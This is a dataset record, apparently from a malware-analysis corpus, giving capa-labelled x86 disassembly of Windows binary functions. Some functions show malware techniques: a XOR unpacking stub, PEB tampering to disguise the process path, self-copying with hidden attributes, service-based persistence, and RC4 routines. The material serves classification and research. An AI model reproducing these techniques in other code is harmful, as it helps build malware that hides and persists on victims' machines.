joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416a70
Capabilities:
Allocate thread local storage

Disassembly:
push ebx
sub esp, 8
mov eax, dword [0x432320]
test eax, eax
je 0x416af8
mov edx, dword [eax + 0x18]
test edx, edx
jne 0x416b20
mov dword [eax + 0x18], 0x428030
mov ebx, 0x428030
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [ebx], eax
mov eax, dword [0x432320]
test eax, eax
je 0x416ad0
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x416af0
mov dword [eax + 0x18], 0x428030
mov eax, 0x428030
cmp dword [eax], 0xffffffff
je sym._pthread_tls_init.cold
add esp, 8
pop ebx
ret
call sym.___shmem3_winpthreads_tdm_init_local_region
mov edx, eax
mov eax, dword [0x432320]
mov edx, dword [edx + 0x18]
test edx, edx
je 0x416aac
test eax, eax
jne 0x416af0
call sym.___shmem3_winpthreads_tdm_init_local_region
lea esi, [esi]
mov eax, dword [eax + 0x18]
jmp 0x416ab8
call sym.___shmem3_winpthreads_tdm_init_local_region
mov ebx, dword [eax + 0x18]
mov eax, dword [0x432320]
test ebx, ebx
je 0x416a88
test eax, eax
jne 0x416b20
call sym.___shmem3_winpthreads_tdm_init_local_region
lea esi, [esi]
lea esi, [esi]
mov ebx, dword [eax + 0x18]
jmp 0x416a94

Function at 0x416b30
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
push edi
xor eax, eax
mov ecx, 0x10
sub esp, 0x88
lea edi, [esp + 0x40]
mov dword [esp + 0x15], 0x6f727245
mov dword [esp + 0x19], 0x6c632072
mov dword [esp + 0x1d], 0x696e6165
mov dword [esp + 0x21], 0x7520676e
mov dword [esp + 0x25], 0x70732070
mov dword [esp + 0x29], 0x6b5f6e69
mov dword [esp + 0x2d], 0x20737965
mov dword [esp + 0x31], 0x20726f66
mov dword [esp + 0x35], 0x65726874
mov dword [esp + 0x39], 0x206461
mov dword [esp + 0x3d], 0
mov dword [esp + 0x7c], 0
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea edx, [esp + 0x3c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__ultoa]
cmp byte [esp + 0x3c], 0
je 0x416c0b
mov eax, 0x27
lea edx, [esp + 0x15]
jmp 0x416bdd
cmp eax, 0x6a
je 0x416bfa
mov ecx, eax
add eax, 1
cmp byte [edx + eax], 0
jne 0x416bd8
cmp eax, 0x6a
je 0x416bfa
add ecx, 2
mov byte [esp + eax + 0x15], 0xa
mov byte [esp + ecx + 0x15], 0
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 4
call sym._abort
mov ecx, 0x28
mov eax, 0x27
lea edx, [esp + 0x15]
jmp 0x416bf0
Function at 0x419de0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call sym.___pthread_self_lite
mov dword [eax + 4], esi
mov ebx, eax
mov eax, dword [eax + 0xb4]
test eax, eax
je 0x419e02
call sym.__pthread_cleanup_dest.part.0
test byte [ebx + 0x20], 0x30
je 0x419e79
mov eax, dword [0x432320]
mov edx, eax
test eax, eax
je 0x419f1f
cmp dword [eax + 0x18], 0
jne 0x419e74
mov dword [eax + 0x18], 0x428030
mov eax, 0x428030
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
test eax, eax
je 0x419e6b
cmp dword [ebx + 0x14], 0
mov eax, dword [eax + 0x18]
je 0x419e8d
mov dword [ebx + 0x68], 1
mov esi, dword [ebx + 4]
test eax, eax
je 0x419e5e
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov dword [ebx + 0x18], 0
test byte [ebx + 0x24], 4
jne 0x419edf
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
mov eax, dword [edx + 0x18]
jmp 0x419e29
add ebx, 0x70
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.msvcrt.dll_longjmp]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x419ea1
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov dword [ebx + 0x18], 0
mov eax, ebx
mov esi, dword [ebx + 4]
call sym._push_pthread_mem
mov eax, dword [0x432320]
test eax, eax
je 0x419f61
cmp dword [eax + 0x18], 0
je 0x419f11
mov eax, dword [eax + 0x18]
mov dword [esp + 4], 0
mov eax, dword [eax]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push eax
push eax
jmp 0x419e6b
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
push edx
mov dword [ebx + 0x14], 0
call sym._push_pthread_mem
mov eax, dword [0x432320]
mov edx, eax
test eax, eax
je 0x419f85
cmp dword [eax + 0x18], 0
jne 0x419f59
mov dword [eax + 0x18], 0x428030
mov eax, 0x428030
jmp 0x419ec8
call sym.___shmem3_winpthreads_tdm_init_local_region
cmp dword [eax + 0x18], 0
jne 0x419f34
mov eax, dword [0x432320]
jmp 0x419e1d
mov edx, dword [0x432320]
test edx, edx
jne 0x419e74
call sym.___shmem3_winpthreads_tdm_init_local_region
mov eax, dword [eax + 0x18]
jmp 0x419e29
mov edx, dword [0x432320]
test edx, edx
je 0x419f7b
mov eax, dword [edx + 0x18]
jmp 0x419ec8
call sym.___shmem3_winpthreads_tdm_init_local_region
mov edx, eax
mov eax, dword [0x432320]
cmp dword [edx + 0x18], 0
je 0x419f11
test eax, eax
jne 0x419ec5
call sym.___shmem3_winpthreads_tdm_init_local_region
jmp 0x419ec5
call sym.___shmem3_winpthreads_tdm_init_local_region
cmp dword [eax + 0x18], 0
jne 0x419f4f
mov eax, dword [0x432320]
jmp 0x419f11
Function at 0x41b7a0
Capabilities:
Print debug messages

Disassembly:
push esi
push ebx
mov ebx, eax
sub esp, 0x34
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x41b7c0
add esp, 0x34
pop ebx
pop esi
ret
lea edx, [esp + 0x2c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x400
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1100
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
sub esp, 0x1c
test eax, eax
jne 0x41b810
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41b7b1
int3
mov eax, dword [esp + 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [esp], eax
call esi
sub esp, 4
mov dword [esp], ebx
call esi
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
sub esp, 4
jmp 0x41b800

Function at 0x41b840
Capabilities:
Check mutex on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp + 8], 0x432380
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov ebx, eax
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
test eax, eax
jne 0x41b908
mov edx, dword [0x432320]
mov eax, dword [edx + 4]
test eax, eax
je 0x41b8d0
cmp edx, 0x432320
jne 0x41b8b5
mov dword [0x432320], eax
cmp eax, 0x432320
je 0x41b8bc
lea esi, [esi]
nop
test eax, eax
je 0x41b8e5
mov edx, dword [edx]
mov dword [eax], edx
mov edx, eax
mov eax, dword [edx + 4]
cmp eax, 0x432320
jne 0x41b8a8
mov eax, dword [0x432324]
mov dword [edx + 4], eax
test eax, eax
je 0x41b8e5
mov edx, eax
jmp 0x41b8b2
mov dword [esp], 0x4323c0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
sub esp, 4
test ax, ax
jne 0x41b925
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
sub esp, 4
add esp, 0x18
pop ebx
ret
mov eax, str.failed_to_to_lock_cleanup_mutex_n
call sym.___shmem_get_error
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
sub esp, 4
add esp, 0x18
pop ebx
ret
movzx eax, ax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
sub esp, 4
jmp 0x41b8e5
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x42af1823
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x45f556af
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401030
Capabilities:
Access peb ldr_data
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
lea eax, [ebp - 0x40]
push 0x40
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
mov edi, 0x407034
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x40]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov eax, 0x4089f9
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov dl, byte [ebp + ecx - 0x40]
inc ecx
mov byte [eax - 1], dl
mov byte [eax], 0
add eax, 2
cmp eax, 0x408a79
jl 0x401079
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ebx, [0x4089f8]
mov word [eax + 0x24], 0x60
mov dword [eax + 0x28], ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x10]
lea eax, [eax + 0x3c]
lea ebx, [0x4089f8]
mov dword [eax], ebx
mov word [eax - 4], 0x60
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x10]
lea eax, [eax + 0x44]
lea ebx, [0x4089f8]
mov dword [eax], ebx
mov word [eax - 4], 0x60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4011e0
Capabilities:
Create process on windows
Create process suspended
Get comspec environment variable
Query environment variable
Resume thread

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x25c]
push esi
push edi
push 0x104
push eax
push 0x407080
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401378
lea ecx, [esp + 0x5c]
push 0x104
push ecx
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
je 0x401378
lea edx, [esp + 0x5c]
push 0x104
lea eax, [esp + 0x60]
push edx
push eax
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
test eax, eax
je 0x401378
push ebx
push 1
call dword [sym.imp.kernel32.dll_Sleep]
mov edi, 0x407074
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x164]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.kernel32.dll_lstrcat]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x164]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x60]
push ecx
push edx
call ebx
mov edi, 0x40706c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x164]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x164]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x26c]
push ecx
call ebx
xor edx, edx
mov ecx, 0x10
mov dword [esp + 0x10], edx
xor eax, eax
lea edi, [esp + 0x20]
mov dword [esp + 0x14], edx
rep stosd dword es:[edi], eax
push 0x100
mov dword [esp + 0x10], eax
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x4c], 1
mov word [esp + 0x50], dx
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.kernel32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.kernel32.dll_GetCurrentThread]
mov edi, dword [sym.imp.kernel32.dll_SetThreadPriority]
push eax
call edi
lea eax, [esp + 0xc]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push 0
push 0xc
push 0
push 0
push 0
lea edx, [esp + 0x288]
push edx
push 0
call dword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
pop ebx
je 0x401378
mov eax, dword [esp + 8]
push 0x40
push eax
call esi
mov ecx, dword [esp + 0xc]
push 0xfffffffffffffff1
push ecx
call edi
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.kernel32.dll_ResumeThread]
pop edi
mov eax, 1
pop esi
add esp, 0x360
ret
pop edi
xor eax, eax
pop esi
add esp, 0x360
ret
Function at 0x401510
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.kernel32.dll_LoadLibraryA]
push edi
push 0x407138
call esi
push 0x4070e0
mov ebx, eax
call esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x407120
push ebx
mov ebp, eax
call esi
push 0x407108
push ebp
mov dword [esp + 0x18], eax
call esi
mov edi, dword [esp + 0x170]
push 0
push 0
push 0xa
push 0x4070fc
push edi
push 0
mov esi, eax
call dword [esp + 0x28]
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
push 0
push edi
call esi
test eax, eax
jne 0x40161c
mov ecx, dword [esp + 0x14]
push ecx
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea edx, [esp + 0x14]
mov dword [esp + 0x10], eax
push edx
push eax
push edi
call esi
test eax, eax
je 0x40161c
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x10]
or ecx, 0xffffffff
mov edx, dword [eax + 8]
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x70]
push edx
push ecx
call dword [sym.imp.msvcrt.dll_strncpy]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x24]
add esp, 0xc
rep stosd dword es:[edi], eax
lea edx, [esp + 0x5c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x8c]
push 0
push ecx
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], 0x4070ec
mov word [esp + 0x70], 5
call dword [sym.imp.kernel32.dll_CreateProcessA]
mov esi, dword [sym.imp.kernel32.dll_FreeLibrary]
push ebx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret

Function at 0x4016c0
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x40170e
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40170e
mov ecx, dword [esp + 8]
mov dword [ecx], eax
mov edx, dword [eax]
cmp edx, 0x4550
jne 0x40170e
mov edx, dword [esp + 0xc]
add eax, 4
mov dword [ecx], eax
add eax, 0x14
mov dword [edx], eax
cmp word [eax], 0x10b
jne 0x40170e
mov ecx, dword [esp + 0x10]
add eax, 0xe0
mov dword [ecx], eax
mov eax, 1
ret
xor eax, eax
ret

Function at 0x401be1
Capabilities:
Create thread

Disassembly:
pushal
push 0
push 0
push 0
call fcn.00401bed
Function at 0x401d00
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0x328
push 1
call dword [sym.imp.kernel32.dll_SetErrorMode]
push 0x7c2
push 0x1bc
push 0x408430
mov byte [esp + 0xc], 0x41
mov byte [esp + 0xd], 0x42
mov byte [esp + 0xe], 0x43
mov byte [esp + 0xf], 0x44
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x46
mov byte [esp + 0x12], 0x47
mov byte [esp + 0x13], 0x48
mov byte [esp + 0x14], 0x49
mov byte [esp + 0x15], 0x4a
mov byte [esp + 0x16], 0x4b
call fcn.004047b0
lea eax, [esp + 0xc]
push 0xb
push eax
push 0x1bc
push 0x408430
call fcn.004047e0
add esp, 0x1c
push 0x4085ec
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov eax, dword [0x4085bc]
sub eax, 0
je 0x401dbc
dec eax
je 0x401da8
dec eax
push 0x104
jne 0x401dc1
lea edx, [esp + 0x124]
push edx
call fcn.004053c0
jmp 0x401dce
lea eax, [esp + 0x120]
push 0x104
push eax
call fcn.004054b0
jmp 0x401dce
push 0x104
lea ecx, [esp + 0x124]
push ecx
call fcn.00405436
mov eax, dword [0x4085c0]
add esp, 8
sub eax, 0
je 0x401e0f
dec eax
je 0x401dfe
dec eax
push 0x104
je 0x401df2
lea edx, [esp + 0x20]
push edx
call fcn.00405590
jmp 0x401e1e
lea eax, [esp + 0x20]
push eax
call fcn.00405520
jmp 0x401e1e
lea ecx, [esp + 0x1c]
push 0x104
push ecx
call fcn.00405590
jmp 0x401e1e
lea edx, [esp + 0x1c]
push 0x104
push edx
call fcn.00405600
add esp, 8
lea eax, [esp + 0x1c]
push esi
push 0x4084b0
push eax
call dword [sym.imp.kernel32.dll_lstrcat]
lea ecx, [esp + 0x228]
push 0x104
push ecx
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.kernel32.dll_lstrcmpi]
lea edx, [esp + 0x124]
lea eax, [esp + 0x228]
push edx
push eax
call esi
test eax, eax
jne 0x401e89
push 0x4000
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_SetPriorityClass]
call fcn.00401be1
mov eax, 1
pop esi
add esp, 0x328
ret 0x10
lea ecx, [esp + 0x20]
lea edx, [esp + 0x228]
push ecx
push edx
call esi
test eax, eax
je 0x401f03
mov eax, dword [0x4085c4]
test eax, eax
je 0x401eaa
call fcn.00401be0
lea eax, [esp + 0x20]
push 0
lea ecx, [esp + 0x22c]
push eax
push ecx
call dword [sym.imp.kernel32.dll_CopyFileA]
test eax, eax
je 0x401ef6
lea edx, [esp + 0x20]
push 6
push edx
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
lea eax, [esp + 0x20]
push eax
call fcn.004010f0
add esp, 4
test eax, eax
jne 0x401ef6
push 5
push eax
lea ecx, [esp + 0x28]
push eax
push ecx
push 0x407144
push eax
call dword [sym.imp.shell32.dll_ShellExecuteA]
call fcn.004011e0
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0x4084d0
push edx
mov dword [esp + 0x18], 0x401f60
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.advapi32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x401f4e
lea eax, [esp + 0x20]
push eax
push 0x408530
push 0x4084f0
push 0x4084d0
call fcn.00402170
add esp, 0x10
xor eax, eax
pop esi
add esp, 0x328
ret 0x10
Function at 0x402170
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406218
push 0x4056a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x118
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.advapi32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, esi
je 0x402271
push esi
push esi
push esi
push esi
push esi
mov eax, dword [ebp + 0x14]
push eax
push esi
push 2
push 0x10
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [sym.imp.advapi32.dll_CreateServiceA]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
jne 0x402217
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x431
jne 0x402217
push 0xf01ff
push edi
push ebx
call dword [sym.imp.advapi32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x24], esi
test esi, esi
je 0x402271
push 0
push 0
push esi
call dword [sym.imp.advapi32.dll_StartServiceA]
push 0
push 0
push esi
call dword [sym.imp.advapi32.dll_StartServiceA]
test eax, eax
je 0x402271
push edi
push 0x408604
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x128]
push ecx
push 0x80000002
call dword [sym.imp.advapi32.dll_RegOpenKeyA]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.kernel32.dll_lstrlen]
push eax
push edi
push 1
push 0
push 0x4085f8
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.advapi32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.00402294
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402310
Capabilities:
Check mutex on windows
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x190
push ebx
push ebp
push esi
push edi
push 0x408430
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40234a
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x190
ret
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.ws2_32.dll_WSAStartup]
mov edi, dword [sym.imp.kernel32.dll_CloseHandle]
mov ebx, dword [sym.imp.kernel32.dll_CreateThread]
mov ebp, dword [sym.imp.kernel32.dll_WaitForSingleObject]
push 0
push 0
push 0
push 0x4023a0
push 0
push 0
call ebx
mov esi, eax
push 0xffffffffffffffff
push esi
call ebp
push esi
call edi
push 0x2710
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x40236c

Function at 0x402c80
Capabilities:
Print debug messages

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x400
lea eax, [esp + 0x408]
lea edx, [esp]
push eax
push ecx
push edx
call dword [sym.imp.user32.dll_wvsprintfA]
lea eax, [esp]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
add esp, 0x400
ret
Function at 0x402fd0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x24]
cmp esi, 1
push edi
jae 0x402fe9
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x28]
push 4
push eax
push 8
push pe_overlay
push edi
mov dword [esp + 0x3c], 1
call dword [sym.imp.ws2_32.dll_setsockopt]
test eax, eax
je 0x403016
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea eax, [eax + eax*4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], edx
shl eax, 3
push edx
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push 0xc
push edx
lea eax, [esp + 0x1c]
push 0xc
push eax
push 0x98000004
push edi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], 0x3e8
call dword [sym.imp.ws2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x18
ret

Function at 0x4030e0
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.ws2_32.dll_inet_addr]
test eax, eax
jge 0x403104
push esi
call dword [sym.imp.ws2_32.dll_gethostbyname]
test eax, eax
jne 0x4030fd
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret

Function at 0x404780
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x4047ac
mov eax, dword [esp + 8]
mov cl, byte [eax]
xor cl, dl
add cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x4047a0
pop esi
ret

Function at 0x4047b0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, 0xfe
and eax, 0xff
push esi
cdq
idiv ecx
mov esi, dword [esp + 0xc]
inc dl
test esi, esi
jbe 0x4047dc
mov eax, dword [esp + 8]
mov cl, byte [eax]
sub cl, dl
xor cl, dl
mov byte [eax], cl
inc eax
dec esi
jne 0x4047d0
pop esi
ret

Function at 0x404820
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 8
xor ecx, ecx
xor eax, eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x24]
mov edx, edi
mov byte [edx], al
inc eax
inc edx
cmp ax, 0x100
jl 0x404831
mov byte [edi + 0x100], cl
mov byte [edi + 0x101], cl
mov byte [esp + 0x24], cl
mov esi, edi
mov dword [esp + 0x10], 0x100
mov eax, dword [esp + 0x24]
mov ebp, dword [esp + 0x1c]
mov dl, byte [esi]
and eax, 0xff
xor ebx, ebx
mov bl, byte [eax + ebp]
mov ebp, edx
and ebp, 0xff
add ecx, ebx
add ecx, ebp
and ecx, 0x800000ff
jns 0x404885
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x14], cl
mov ecx, dword [esp + 0x14]
and ecx, 0xff
inc eax
mov bl, byte [ecx + edi]
mov byte [esi], bl
mov byte [ecx + edi], dl
cdq
idiv dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc esi
dec eax
mov dword [esp + 0x10], eax
mov byte [esp + 0x24], dl
jne 0x404855
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
call fcn.004071e2
ret